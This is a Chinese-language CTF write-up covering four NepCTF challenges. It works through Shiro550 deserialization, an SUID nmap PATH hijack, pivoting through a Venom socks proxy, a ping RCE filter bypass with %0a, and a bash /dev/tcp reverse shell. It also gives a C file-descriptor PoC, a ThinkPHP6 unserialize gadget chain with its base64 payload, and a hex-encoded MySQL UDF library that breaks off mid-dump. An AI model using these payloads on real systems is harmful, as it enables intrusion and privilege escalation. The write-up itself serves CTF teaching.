目录
<1> EZJAVA_CHECKIN(shiro550)
<2> 独步天下-转生成为镜花水月中的王者(环境变量提权)
<3> 独步天下-破除虚妄_探见真实(Venom代理&ping%0a绕过rce&c文件描述符未关闭连接父进程修改文件权限)
<4> 独步天下-破除试炼_加冕成王(tp6rce+udf提权)
<1> EZJAVA_CHECKIN(shiro550)
shiro 打URLDNS 收到回显
shiro反序列化工具 检测到
--w--w--w- 1 root root 22 Aug 12 08:49 /flag
cat /flag没反应，看一下 /flag信息发现没有权限
cat start.sh 得到flag
#/bin/bash
export GZCTF_FLAG=NepcTF{Ezjava_Chekin}
echo $GZCTF_FLAG > /flag
export GZCTF_FLAG="HAHA,NO FLAG but boom."
su ctf -c "bash -c 'java -jar /ShiroSpring-0.0.1-SNAPSHOT.jar'"
<2> 独步天下-转生成为镜花水月中的王者(环境变量提权)
nc ip port进去之后，得到了一个低权限的shell
根据提示：环境变量提权
查找具有suid权限的命令 找到了nmap
执行一下 发现nmap会调用 ports-alive
echo "/bin/sh" > /tmp/ports-alive
chmod +x /tmp/ports-alive
export PATH=/tmp:$PATH
/bin/nmap 1
提权成功
<3> 独步天下-破除虚妄_探见真实(Venom代理&ping%0a绕过rce&c文件描述符未关闭连接父进程修改文件权限)
获取root权限之后，计划怎么进入内网
ifconfig 发现靶机的ip为 192.168.200.2
同时测试发现存在wget 我们可以在vps部署上http服务
利用wget 下载vps上的文件 ，例如 fscan
wget http://vps:port/fscan_amd64 下载下来
fscan扫一下内网 发现了192.168.200.1 机器
但是我们不能直接访问到这台机器 因为这是docker容器中的内网环境，需要借助 192.168.200.2这台靶机 挂上一个代理访问
这里用的是 venom
下载链接：https://github.com/Dliv3/Venom/releases/
利用wget 把agent_linux_64 下载到靶机上
wget http://ip:port/agent_linux_x64
chmod +x agent_linux_x64
令vps 作为服务端 监听 1111端口
./admin_linux_x64 -lport 1111令 靶机作为客户端 向服务端发起连接
./agent_linux_x64 -rhost vps -rport 1111goto 1 进入到节点已连接的节点
然后 挂一个socks5代理
socks 2222 在服务端即vps的 2222 端口做一个socks5代理
然后代理工具 配置服务端ip:2222即可使用socks代理
然后利用 proxifier连接代理，将自己的访问 由代理转发出去
设置 Proxy Server
然后配置 Proxification Rules 代理解析规则
Target Hosts 为 192.168.200.1
即可将自己访问 192.168.200.1的请求通过服务器socks5代理转发过去
访问 192.168.200.1
访问成功
访问 82端口 进入摄像头控制台
其中存在一个 ping 的地方和一个文件上传点
ping这里应该可以利用进行rce，经测试 | &等管道符被禁用了 但是可以 %0a绕过
直接 cat /flag_mini 不行 没有权限
继续找找其他地方，还有一个文件上传点还没利用
ls 发现了 app.py
cat 得到了 ping和 文件上传两个路由的具体代码实现
from flask import Flask, render_template, request, url_for, redirect
import os
import ctypes
import ctypes.util
import time
os.environ['FLASK_ENV'] = 'production'
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './'lib_name='./libping.so'
def load_ping_library():# 加载共享库mylib = ctypes.CDLL(lib_name)return mylibmylib = load_ping_library()@app.route('/')
def index():return render_template('index.html')@app.route('/ping', methods=['POST'])
def ping():global mylibip_address = request.form['ip_address']result = ctypes.create_string_buffer(4096*2)mylib.ping(ip_address.encode('utf-8'), result)return result.value.decode('utf-8')@app.route('/upload_avatar', methods=['POST'])
def upload_avatar():if request.headers.get('X-Forwarded-For') != '127.0.0.1':return "You are not allowed to upload files from this IP address." + " Your IP is: " + request.headers.get('X-Forwarded-For')if 'file' not in request.files:return redirect(request.url)file = request.files['file']if file.filename == '':return redirect(request.url)if not allowed_file(file.filename):return 'Invalid file format. Only PNG files are allowed.'# 限制文件大小为 5KBMAX_FILE_SIZE = 5 * 1024if len(file.read()) > MAX_FILE_SIZE:return 'File too large. Maximum size is 5KB.'# 将文件保存到服务器file.seek(0) # 重置文件读取指针file.save(os.path.join(app.config['UPLOAD_FOLDER'], 'avatar.png'))return redirect(url_for('index'))def allowed_file(filename):return '.' in filename and filename.rsplit('.', 1)[1].lower() == 'png'if __name__ == '__main__':app.run(host='0.0.0.0',port=82,debug=False,use_reloader=False)
经过分析，文件上传处 检测了XFF头，需要XFF为 127.0.0.1 才可以上传文件 同时 上传的文件后缀必须为.png ，上传后会保存为 avatar.png 但是对上传文件的内容并没有限制
因此我们可以写一个 python 反弹shell，上传搭配ping命令处的 rce 运行即可
import os
os.popen("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'").read()
得到 192.168.200.1:82 的shell
查找suid特权文件提权 没有可利用点
ps -aux 看一下当前运行着的程序
发现可疑进程 indentity
该程序在 /app目录下，cat 一下 identity.c 分析一下
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <sched.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/seccomp.h>
#include <openssl/md5.h>
#include <sys/resource.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdint.h>
//gcc -o test1 test1.c -lcrypto -lm -lrt
void init_dir() {int fd=open("/home/ctf/sandbox/",O_RDONLY);if(fd<2) {exit(0);}MD5_CTX ctx;char md5_res[17]="";char key[100]="NEPCTF_6666";char sandbox_dir[100]="/home/ctf/sandbox/";char dir_name[100]="/home/ctf/sandbox/";FILE *new_pip;int i;setbuf(stdin, NULL);setbuf(stdout, NULL);setbuf(stderr, NULL);struct rlimit r;r.rlim_max = r.rlim_cur = 0;setrlimit(RLIMIT_CORE, &r);memset(key, 0, sizeof(key));MD5_Init(&ctx);MD5_Update(&ctx, key, strlen(key));MD5_Final(md5_res, &ctx);for (int i = 0; i < 16; i++) sprintf(&(dir_name[i*2 + 18]), "%02hhx", md5_res[i]&0xff);char cmd[100];mkdir(dir_name, 0755);if (chdir(dir_name)==-1) {puts("chdir err, exiting\n");exit(1);}sprintf(cmd,"%s%s","chmod 777 ",dir_name);system(cmd);mkdir("bin", 0777);mkdir("lib", 0777);mkdir("lib64", 0777);mkdir("lib/x86_64-linux-gnu", 0777);system("cp /bin/bash bin/sh");system("cp /lib/x86_64-linux-gnu/libdl.so.2 lib/x86_64-linux-gnu/");system("cp /lib/x86_64-linux-gnu/libc.so.6 lib/x86_64-linux-gnu/");system("cp /lib/x86_64-linux-gnu/libtinfo.so.5 lib/x86_64-linux-gnu/");system("cp /lib64/ld-linux-x86-64.so.2 lib64/");if (chroot(".") == -1) {puts("chroot err, exiting\n");exit(1);}
}
void command(int server_socket,int client_socket) {char buf[0x666];memset(buf,0,0x666);write(client_socket,"Tmp-Command:",sizeof("Tmp-Command:"));read(client_socket, buf, 0x10);setgid(1001);setuid(1001);popen(buf,"w");
}
int get_ip_address(const char *interface_name, char *ip_address) {int sockfd;struct ifreq ifr;// Create a socketsockfd = socket(AF_INET, SOCK_DGRAM, 0);if (sockfd < 0) {perror("Socket creation failed");return -1;}// Set the interface name in the ifreq structurestrncpy(ifr.ifr_name, interface_name, IFNAMSIZ - 1);ifr.ifr_name[IFNAMSIZ - 1] = '\0';// Get the IP address using the SIOCGIFADDR ioctl requestif (ioctl(sockfd, SIOCGIFADDR, &ifr) == -1) {perror("ioctl failed");close(sockfd);return -1;}close(sockfd);// Convert the binary IP address to a human-readable stringstruct sockaddr_in *addr = (struct sockaddr_in *)&ifr.ifr_addr;strcpy(ip_address, inet_ntoa(addr->sin_addr));return 0;
}
int main(int argc, char **argv) {init_dir();int flag=1;// Server setupint server_socket, client_socket;struct sockaddr_in server_addr, client_addr;socklen_t client_len = sizeof(client_addr);// Create socketserver_socket = socket(AF_INET, SOCK_STREAM, 0);if (server_socket < 0) {perror("Socket creation failed");exit(0);}// Set up server addressmemset(&server_addr, 0, sizeof(server_addr));server_addr.sin_family = AF_INET;server_addr.sin_addr.s_addr = INADDR_ANY;server_addr.sin_port = htons(9999);// Bind socket to address and portif (bind(server_socket, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) {perror("Bind failed");exit(0);}// Listen for incoming connectionsif (listen(server_socket, 1) < 0) {perror("Listen failed");exit(0);}printf("Server is listening on port 9999...\n");// Accept connection from clientclient_socket = accept(server_socket, (struct sockaddr *)&client_addr, &client_len);if (client_socket < 0) {client_socket = accept(server_socket, (struct sockaddr *)&client_addr, &client_len);}char client_ip[INET_ADDRSTRLEN];inet_ntop(AF_INET, &client_addr.sin_addr, client_ip, INET_ADDRSTRLEN);printf("Client connected from IP: %s\n", client_ip);char ip_address[INET_ADDRSTRLEN];const char *interface_name = "eth0";if (get_ip_address(interface_name, ip_address) == 0) {printf("IP address of eth0: %s\n", ip_address);} else {printf("Failed to get the IP address of eth0.\n");}while(flag) {if(strcmp(client_ip,ip_address)) {send(client_socket,"Only nc by localhost!\n",sizeof("Only nc by localhost!\n"),0);exit(0);} else {flag=0;}}command(server_socket,client_socket);return 0;
}根据 boogipop师傅所说，利用点在这个地方
这一部分的文件描述符 fd 并没有关闭，文件流也没关闭，因此是可以连接父进程的，openat和fschmod这两个内置函数
利用的话 则是 把下面的c文件编译一下，nc进identity 以ctf用户运行，然后就可以更改flag_mini的权限为777 不懂c，，，
#include <fcntl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdio.h>int main() {const char* filename = "../../../../flag_mini";int fd = openat(3, filename, O_CREAT | O_WRONLY);if (fd == -1) {// 处理打开文件失败的情况printf("1");}// 更改文件权限为 777if (fchmod(fd, S_IRWXU | S_IRWXG | S_IRWXO) == -1) {// 处理更改文件权限失败的情况printf("2");}// 使用新文件进行操作...return 0;
}利用命令写入文件文件的话 可以通过base64
echo I2luY2x1ZGUgPGZjbnRsLmg+CiNpbmNsdWRlIDxzeXMvc3RhdC5oPgojaW5jbHVkZSA8dW5pc3RkLmg+CiNpbmNsdWRlIDxzdGRpby5oPgoKaW50IG1haW4oKSB7CiAgICBjb25zdCBjaGFyKiBmaWxlbmFtZSA9ICIuLi8uLi8uLi8uLi9mbGFnX21pbmkiOwogICAgaW50IGZkID0gb3BlbmF0KDMsIGZpbGVuYW1lLCBPX0NSRUFUIHwgT19XUk9OTFkpOwogICAgaWYgKGZkID09IC0xKSB7CiAgICAgICAgLy8g5aSE55CG5omT5byA5paH5Lu25aSx6LSl55qE5oOF5Ya1CiAgICAgICAgcHJpbnRmKCIxIik7CiAgICB9CgogICAgLy8g5pu05pS55paH5Lu25p2D6ZmQ5Li6IDc3NwogICAgaWYgKGZjaG1vZChmZCwgU19JUldYVSB8IFNfSVJXWEcgfCBTX0lSV1hPKSA9PSAtMSkgewogICAgICAgIC8vIOWkhOeQhuabtOaUueaWh+S7tuadg+mZkOWksei0peeahOaDheWGtQogICAgICAgIHByaW50ZigiMiIpOwogICAgfQoKICAgIC8vIOS9v+eUqOaWsOaWh+S7tui/m+ihjOaTjeS9nC4uLgoKICAgIHJldHVybiAwOwp9 | base64 -d > poc.cgcc编译一下
gcc poc.c -o pocidentity.c 源码中提到了：
- printf("Server is listening on port 9999...\n");
- printf("IP address of eth0: %s\n", ip_address);
nc进 identity文件
因此 nc etho的ip 9999
运行 ./poc 成功将 /flag_mini文件的权限改为777
再次 cat /flag_mini 即可得到flag
<4> 独步天下-破除试炼_加冕成王(tp6rce+udf提权)
扫端口扫出来 192.168.200.1 的80端口有一个web服务
是一个CMS ZengCMS v1.0.0
搜索该版本有没有在野CVE，没发现。但是在项目介绍中提到：
ZengCMS是基于最新TP6.0.x框架和Layui2.5.x的后台管理系统
TP6.0.x 有很多条rce链子 我们把ZengCMS 源码下载下来找一找可利用点
后台有个弱口令 admin:123456 访问报错时 露出来了 用到了 tp6.0.5的框架 前段时间刚好审了一个tp6 unserialize rce漏洞
因此我们找一下可以利用的反序列化函数
在 /app/common.php 处 $admin_auth_cookie = think_decrypt(cookie('admin_auth_cookie'));
会对cookie里的 admin_auth_cookie字段进行反序列化，因此构造一条 tp6的反序列化漏洞即可
但是我们发现 在unserialize()之前，会调用 think_decrypt()进行解密
因此我们构造好的 序列化格式数据要通过 think_encrypt() 加密一下 CMS里自带了
这里就不分析函数具体逻辑了，直接在本地搭一个生成一下对应的payload
本地搭好之后，找一条tp反序列化链 生成base64编码后的序列化数据
<?phpnamespace League\Flysystem\Cached\Storage{class Psr6Cache{private $pool;protected $autosave = false;public function __construct($exp){$this->pool = $exp;}}
}namespace think\log{class Channel{protected $logger;protected $lazy = true;public function __construct($exp){$this->logger = $exp;$this->lazy = false;}}
}namespace think{class Request{protected $url;public function __construct(){$this->url = '<?php phpinfo(); exit(); ?>';}}class App{protected $instances = [];public function __construct(){$this->instances = ['think\Request'=>new Request()];}}
}namespace think\view\driver{class Php{}
}namespace think\log\driver{class Socket{protected $config = [];protected $app;protected $clientArg = [];public function __construct(){$this->config = ['debug'=>true,'force_client_ids' => 1,'allow_client_ids' => [],'format_head' => [new \think\view\driver\Php,'display'], # 利用类和方法];$this->app = new \think\App();$this->clientArg = ['tabid'=>'1'];}}
}namespace{$c = new think\log\driver\Socket();$b = new think\log\Channel($c);$a = new League\Flysystem\Cached\Storage\Psr6Cache($b);echo base64_encode(serialize($a));
}然后在app/admin/controller 添加一个poc.php 里面写入
<?php
$a = think_encrypt(base64_decode("Tzo0MToiTGVhZ3VlXEZseXN5c3RlbVxDYWNoZWRcU3RvcmFnZVxQc3I2Q2FjaGUiOjI6e3M6NDc6IgBMZWFndWVcRmx5c3lzdGVtXENhY2hlZFxTdG9yYWdlXFBzcjZDYWNoZQBwb29sIjtPOjE3OiJ0aGlua1xsb2dcQ2hhbm5lbCI6Mjp7czo5OiIAKgBsb2dnZXIiO086MjM6InRoaW5rXGxvZ1xkcml2ZXJcU29ja2V0IjozOntzOjk6IgAqAGNvbmZpZyI7YTo0OntzOjU6ImRlYnVnIjtiOjE7czoxNjoiZm9yY2VfY2xpZW50X2lkcyI7aToxO3M6MTY6ImFsbG93X2NsaWVudF9pZHMiO2E6MDp7fXM6MTE6ImZvcm1hdF9oZWFkIjthOjI6e2k6MDtPOjIxOiJ0aGlua1x2aWV3XGRyaXZlclxQaHAiOjA6e31pOjE7czo3OiJkaXNwbGF5Ijt9fXM6NjoiACoAYXBwIjtPOjk6InRoaW5rXEFwcCI6MTp7czoxMjoiACoAaW5zdGFuY2VzIjthOjE6e3M6MTM6InRoaW5rXFJlcXVlc3QiO086MTM6InRoaW5rXFJlcXVlc3QiOjE6e3M6NjoiACoAdXJsIjtzOjI3OiI8P3BocCBwaHBpbmZvKCk7IGV4aXQoKTsgPz4iO319fXM6MTI6IgAqAGNsaWVudEFyZyI7YToxOntzOjU6InRhYmlkIjtzOjE6IjEiO319czo3OiIAKgBsYXp5IjtiOjA7fXM6MTE6IgAqAGF1dG9zYXZlIjtiOjA7fQ=="));
var_dump($a);把生成的payload 放到cookie里的 admin_auth_cookie字段里访问
写入一个 phpinfo() 发现可以
写入一句话木马 蚁剑连接
由于第二个flag是 mysql 用户的，我们去找一下mysql的配置文件
在 /var/www/html/config/database.php 得到mysql账号密码 root:456456zxc+123666
<?php
use think\facade\Env;return [// 默认使用的数据库连接配置'default' => Env::get('database.driver', 'mysql'),// 自定义时间查询规则'time_query_rule' => [],// 自动写入时间戳字段// true为自动识别类型 false关闭// 字符串则明确指定时间字段类型 支持 int timestamp datetime date'auto_timestamp' => true,// 时间字段取出后的默认时间格式'datetime_format' => 'Y-m-d H:i:s',// 数据库连接配置信息'connections' => ['mysql' => [// 数据库类型'type' => Env::get('database.type', 'mysql'),// 服务器地址'hostname' => Env::get('database.hostname', '127.0.0.1'),// 数据库名'database' => Env::get('database.database', 'zengcms'),// 用户名'username' => Env::get('database.username', 'root'),// 密码'password' => Env::get('database.password', '456456zxc+123666'),// 端口'hostport' => Env::get('database.hostport', '3306'),// 数据库连接参数'params' => [],// 数据库编码默认采用utf8'charset' => Env::get('database.charset', 'utf8'),// 数据库表前缀'prefix' => Env::get('database.prefix', 'hh_'),// 数据库部署方式:0 集中式(单一服务器),1 分布式(主从服务器)'deploy' => 0,// 数据库读写是否分离 主从式有效'rw_separate' => false,// 读写分离后 主服务器数量'master_num' => 1,// 指定从服务器序号'slave_no' => '',// 是否严格检查字段是否存在'fields_strict' => true,// 是否需要断线重连'break_reconnect' => false,// 监听SQL'trigger_sql' => true,// 开启字段缓存'fields_cache' => false,// 字段缓存路径'schema_cache_path' => app()->getRuntimePath() . 'schema' . DIRECTORY_SEPARATOR,],// 更多的数据库配置信息],
];这里需要利用 mysql udf提权
mysql UDF提权介绍：
UDF（User-Defined Function）提权指的是通过在MySQL数据库中编写自定义函数（UDF）的方式，实现在MySQL数据库中提升权限的方法
我们需要写一个plugin进去，但是不能直接写进去，因为plugin目录没权限写
但是由于当前我们有root权限的数据库用户，我们可以使用select into dumpfile的形式写入：
当以 root 用户身份执行 SELECT INTO DUMPFILE 查询时，它将绕过文件权限检查，并允许将查询结果写入任何有效的文件路径中，即使该路径对 mysql 用户是无法写入的。
请注意，使用 root 用户执行此操作需要格外小心，因为它会绕过一些安全限制。确保仅允许可信任的用户以 root 权限执行此操作，并且仅指定安全的文件路径
mysql -uroot -p456456zxc+123666 -e "SELECT 0x7f454c4602010100000000000000000003003e0001000000d00c0000000000004000000000000000e8180000000000000000000040003800050040001a00190001000000050000000000000000000000000000000000000000000000000000001415000000000000141500000000000000002000000000000100000006000000181500000000000018152000000000001815200000000000700200000000000080020000000000000000200000000000020000000600000040150000000000004015200000000000401520000000000090010000000000009001000000000000080000000000000050e57464040000006412000000000000641200000000000064120000000000009c000000000000009c00000000000000040000000000000051e5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000250000002b0000001500000005000000280000001e000000000000000000000006000000000000000c00000000000000070000002a00000009000000210000000000000000000000270000000b0000002200000018000000240000000e00000000000000040000001d0000001600000000000000130000000000000000000000120000002300000010000000250000001a0000000f000000000000000000000000000000000000001b00000000000000030000000000000000000000000000000000000000000000000000002900000014000000000000001900000020000000000000000a00000011000000000000000000000000000000000000000d0000002600000017000000000000000800000000000000000000000000000000000000000000001f0000001c0000000000000000000000000000000000000000000000020000000000000011000000140000000200000007000000800803499119c4c93da4400398046883140000001600000017000000190000001b0000001d0000002000000022000000000000002300000000000000240000002500000027000000290000002a00000000000000ce2cc0ba673c7690ebd3ef0e78722788b98df10ed871581cc1e2f7dea868be12bbe3927c7e8b92cd1e7066a9c3f9bfba745bb073371974ec4345d5ecc5a62c1cc3138aff36ac68ae3b9fd4a0ac73d1c525681b320b5911feab5fbe120000000000000000000000000000000000000000000000000000000003000900a00b0000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000e0000000120000000000000000000000de01000000000000790100001200000000000000000000007700000000000000ba0000001200000000000000000000003504000000000000f5000000120000000000000000000000c2010000000000009e010000120000000000000000000000d900000000000000fb000000120000000000000000000000050000000000000016000000220000000000000000000000fe00000000000000cf000000120000000000000000000000ad00000000000000880100001200000000000000000000008000000000000000ab010000120000000000000000000000250100000000000010010000120000000000000000000000dc00000000000000c7000000120000000000000000000000c200000000000000b5000000120000000000000000000000cc02000000000000ed000000120000000000000000000000e802000000000000e70000001200000000000000000000009b00000000000000c200000012000000000000000000000028000000000000008001000012000b007a100000000000006e000000000000007500000012000b00a70d00000000000001000000000000001000000012000c00781100000000000000000000000000003f01000012000b001a100000000000002d000000000000001f01000012000900a00b0000000000000000000000000000c30100001000f1ff881720000000000000000000000000009600000012000b00ab0d00000000000001000000000000007001000012000b0066100000000000001400000000000000cf0100001000f1ff981720000000000000000000000000005600000012000b00a50d00000000000001000000000000000201000012000b002e0f0000000000002900000000000000a301000012000b00f71000000000000041000000000000003900000012000b00a40d00000000000001000000000000003201000012000b00ea0f0000000000003000000000000000bc0100001000f1ff881720000000000000000000000000006500000012000b00a60d00000000000001000000000000002501000012000b00800f0000000000006a000000000000008500000012000b00a80d00000000000003000000000000001701000012000b00570f00000000000029000000000000005501000012000b0047100000000000001f00000000000000a900000012000b00ac0d0000000000009a000000000000008f01000012000b00e8100000000000000f00000000000000d700000012000b00460e000000000000e800000000000000005f5f676d6f6e5f73746172745f5f005f66696e69005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c6173736573006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974007379735f6765745f6465696e6974007379735f657865635f6465696e6974007379735f6576616c5f6465696e6974007379735f62696e6576616c5f696e6974007379735f62696e6576616c5f6465696e6974007379735f62696e6576616c00666f726b00737973636f6e66006d6d6170007374726e6370790077616974706964007379735f6576616c006d616c6c6f6300706f70656e007265616c6c6f630066676574730070636c6f7365007379735f6576616c5f696e697400737472637079007379735f657865635f696e6974007379735f7365745f696e6974007379735f6765745f696e6974006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f657865630073797374656d007379735f73657400736574656e76007379735f7365745f6465696e69740066726565007379735f67657400676574656e76006c6962632e736f2e36005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e322e35000000000000000000020002000200020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100000001000100b20100001000000000000000751a690900000200d401000000000000801720000000000008000000000000008017200000000000d01620000000000006000000020000000000000000000000d81620000000000006000000030000000000000000000000e016200000000000060000000a00000000000000000000000017200000000000070000000400000000000000000000000817200000000000070000000500000000000000000000001017200000000000070000000600000000000000000000001817200000000000070000000700000000000000000000002017200000000000070000000800000000000000000000002817200000000000070000000900000000000000000000003017200000000000070000000a00000000000000000000003817200000000000070000000b00000000000000000000004017200000000000070000000c00000000000000000000004817200000000000070000000d00000000000000000000005017200000000000070000000e00000000000000000000005817200000000000070000000f00000000000000000000006017200000000000070000001000000000000000000000006817200000000000070000001100000000000000000000007017200000000000070000001200000000000000000000007817200000000000070000001300000000000000000000004883ec08e827010000e8c2010000e88d0500004883c408c3ff35320b2000ff25340b20000f1f4000ff25320b20006800000000e9e0ffffffff252a0b20006801000000e9d0ffffffff25220b20006802000000e9c0ffffffff251a0b20006803000000e9b0ffffffff25120b20006804000000e9a0ffffffff250a0b20006805000000e990ffffffff25020b20006806000000e980ffffffff25fa0a20006807000000e970ffffffff25f20a20006808000000e960ffffffff25ea0a20006809000000e950ffffffff25e20a2000680a000000e940ffffffff25da0a2000680b000000e930ffffffff25d20a2000680c000000e920ffffffff25ca0a2000680d000000e910ffffffff25c20a2000680e000000e900ffffffff25ba0a2000680f000000e9f0feffff00000000000000004883ec08488b05f50920004885c07402ffd04883c408c390909090909090909055803d900a2000004889e5415453756248833dd809200000740c488b3d6f0a2000e812ffffff488d05130820004c8d2504082000488b15650a20004c29e048c1f803488d58ff4839da73200f1f440000488d4201488905450a200041ff14c4488b153a0a20004839da72e5c605260a2000015b415cc9c3660f1f8400000000005548833dbf072000004889e57422488b05530920004885c07416488d3da70720004989c3c941ffe30f1f840000000000c9c39090c3c3c3c331c0c3c341544883c9ff4989f455534883ec10488b4610488b3831c0f2ae48f7d1488d69ffe8b6feffff83f80089c77c61754fbf1e000000e803feffff488d70ff4531c94531c031ffb921000000ba07000000488d042e48f7d64821c6e8aefeffff4883f8ff4889c37427498b4424104889ea4889df488b30e852feffffffd3eb0cba0100000031f6e802feffff31c0eb05b8010000005a595b5d415cc34157bf00040000415641554531ed415455534889f34883ec1848894c24104c89442408e85afdffffbf010000004989c6e84dfdffffc600004889c5488b4310488d356a030000488b38e814feffff4989c7eb374c89f731c04883c9fff2ae4889ef48f7d1488d59ff4d8d641d004c89e6e8ddfdffff4a8d3c284889da4c89f64d89e54889c5e8a8fdffff4c89fabe080000004c89f7e818fdffff4885c075b44c89ffe82bfdffff807d0000750a488b442408c60001eb1f42c6442dff0031c04883c9ff4889eff2ae488b44241048f7d148ffc94889084883c4184889e85b5d415c415d415e415fc34883ec08833e014889d7750b488b460831d2833800740e488d353a020000e817fdffffb20188d05ec34883ec08833e014889d7750b488b460831d2833800740e488d3511020000e8eefcffffb20188d05fc3554889fd534889d34883ec08833e027409488d3519020000eb3f488b46088338007409488d3526020000eb2dc7400400000000488b4618488b384883c70248037808e801fcffff31d24885c0488945107511488d351f0200004889dfe887fcffffb20141585b88d05dc34883ec08833e014889f94889d77510488b46088338007507c6010131c0eb0e488d3576010000e853fcffffb0014159c34154488d35ef0100004989cc4889d7534889d34883ec08e832fcffff49c704241e0000004889d8415a5b415cc34883ec0831c0833e004889d7740e488d35d5010000e807fcffffb001415bc34883ec08488b4610488b38e862fbffff5a4898c34883ec28488b46184c8b4f104989f2488b08488b46104c89cf488b004d8d4409014889c6f3a44c89c7498b4218488b0041c6040100498b4210498b5218488b4008488b4a08ba010000004889c6f3a44c89c64c89cf498b4218488b400841c6040000e867fbffff4883c4284898c3488b7f104885ff7405e912fbffffc3554889cd534c89c34883ec08488b4610488b38e849fbffff4885c04889c27505c60301eb1531c04883c9ff4889d7f2ae48f7d148ffc948894d00595b4889d05dc39090909090909090554889e5534883ec08488b05c80320004883f8ff7419488d1dbb0320000f1f004883eb08ffd0488b034883f8ff75f14883c4085bc9c390904883ec08e86ffbffff4883c408c345787065637465642065786163746c79206f6e6520737472696e67207479706520706172616d657465720045787065637465642065786163746c792074776f20617267756d656e747300457870656374656420737472696e67207479706520666f72206e616d6520706172616d6574657200436f756c64206e6f7420616c6c6f63617465206d656d6f7279006c69625f6d7973716c7564665f7379732076657273696f6e20302e302e34004e6f20617267756d656e747320616c6c6f77656420287564663a206c69625f6d7973716c7564665f7379735f696e666f290000011b033b980000001200000040fbffffb400000041fbffffcc00000042fbffffe400000043fbfffffc00000044fbffff1401000047fbffff2c01000048fbffff44010000e2fbffff6c010000cafcffffa4010000f3fcffffbc0100001cfdffffd401000086fdfffff4010000b6fdffff0c020000e3fdffff2c02000002feffff4402000016feffff5c02000084feffff7402000093feffff8c0200001400000000000000017a5200017810011b0c070890010000140000001c00000084faffff01000000000000000000000014000000340000006dfaffff010000000000000000000000140000004c00000056faffff01000000000000000000000014000000640000003ffaffff010000000000000000000000140000007c00000028faffff030000000000000000000000140000009400000013faffff01000000000000000000000024000000ac000000fcf9ffff9a00000000420e108c02480e18410e20440e3083048603000000000034000000d40000006efaffffe800000000420e10470e18420e208d048e038f02450e28410e30410e38830786068c05470e50000000000000140000000c0100001efbffff2900000000440e100000000014000000240100002ffbffff2900000000440e10000000001c0000003c01000040fbffff6a00000000410e108602440e188303470e200000140000005c0100008afbffff3000000000440e10000000001c00000074010000a2fbffff2d00000000420e108c024e0e188303470e2000001400000094010000affbffff1f00000000440e100000000014000000ac010000b6fbffff1400000000440e100000000014000000c4010000b2fbffff6e00000000440e300000000014000000dc01000008fcffff0f00000000000000000000001c000000f4010000fffbffff4100000000410e108602440e188303470e2000000000000000000000ffffffffffffffff0000000000000000ffffffffffffffff000000000000000000000000000000000100000000000000b2010000000000000c00000000000000a00b0000000000000d00000000000000781100000000000004000000000000005801000000000000f5feff6f00000000a00200000000000005000000000000006807000000000000060000000000000060030000000000000a00000000000000e0010000000000000b0000000000000018000000000000000300000000000000e81620000000000002000000000000008001000000000000140000000000000007000000000000001700000000000000200a0000000000000700000000000000c0090000000000000800000000000000600000000000000009000000000000001800000000000000feffff6f00000000a009000000000000ffffff6f000000000100000000000000f0ffff6f000000004809000000000000f9ffff6f0000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000401520000000000000000000000000000000000000000000ce0b000000000000de0b000000000000ee0b000000000000fe0b0000000000000e0c0000000000001e0c0000000000002e0c0000000000003e0c0000000000004e0c0000000000005e0c0000000000006e0c0000000000007e0c0000000000008e0c0000000000009e0c000000000000ae0c000000000000be0c0000000000008017200000000000004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200002e7368737472746162002e676e752e68617368002e64796e73796d002e64796e737472002e676e752e76657273696f6e002e676e752e76657273696f6e5f72002e72656c612e64796e002e72656c612e706c74002e696e6974002e74657874002e66696e69002e726f64617461002e65685f6672616d655f686472002e65685f6672616d65002e63746f7273002e64746f7273002e6a6372002e64796e616d6963002e676f74002e676f742e706c74002e64617461002e627373002e636f6d6d656e7400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0000000500000002000000000000005801000000000000580100000000000048010000000000000300000000000000080000000000000004000000000000000b000000f6ffff6f0200000000000000a002000000000000a002000000000000c000000000000000030000000000000008000000000000000000000000000000150000000b00000002000000000000006003000000000000600300000000000008040000000000000400000002000000080000000000000018000000000000001d00000003000000020000000000000068070000000000006807000000000000e00100000000000000000000000000000100000000000000000000000000000025000000ffffff6f020000000000000048090000000000004809000000000000560000000000000003000000000000000200000000000000020000000000000032000000feffff6f0200000000000000a009000000000000a009000000000000200000000000000004000000010000000800000000000000000000000000000041000000040000000200000000000000c009000000000000c00900000000000060000000000000000300000000000000080000000000000018000000000000004b000000040000000200000000000000200a000000000000200a0000000000008001000000000000030000000a0000000800000000000000180000000000000055000000010000000600000000000000a00b000000000000a00b000000000000180000000000000000000000000000000400000000000000000000000000000050000000010000000600000000000000b80b000000000000b80b00000000000010010000000000000000000000000000040000000000000010000000000000005b000000010000000600000000000000d00c000000000000d00c000000000000a80400000000000000000000000000001000000000000000000000000000000061000000010000000600000000000000781100000000000078110000000000000e000000000000000000000000000000040000000000000000000000000000006700000001000000320000000000000086110000000000008611000000000000dd000000000000000000000000000000010000000000000001000000000000006f000000010000000200000000000000641200000000000064120000000000009c000000000000000000000000000000040000000000000000000000000000007d00000001000000020000000000000000130000000000000013000000000000140200000000000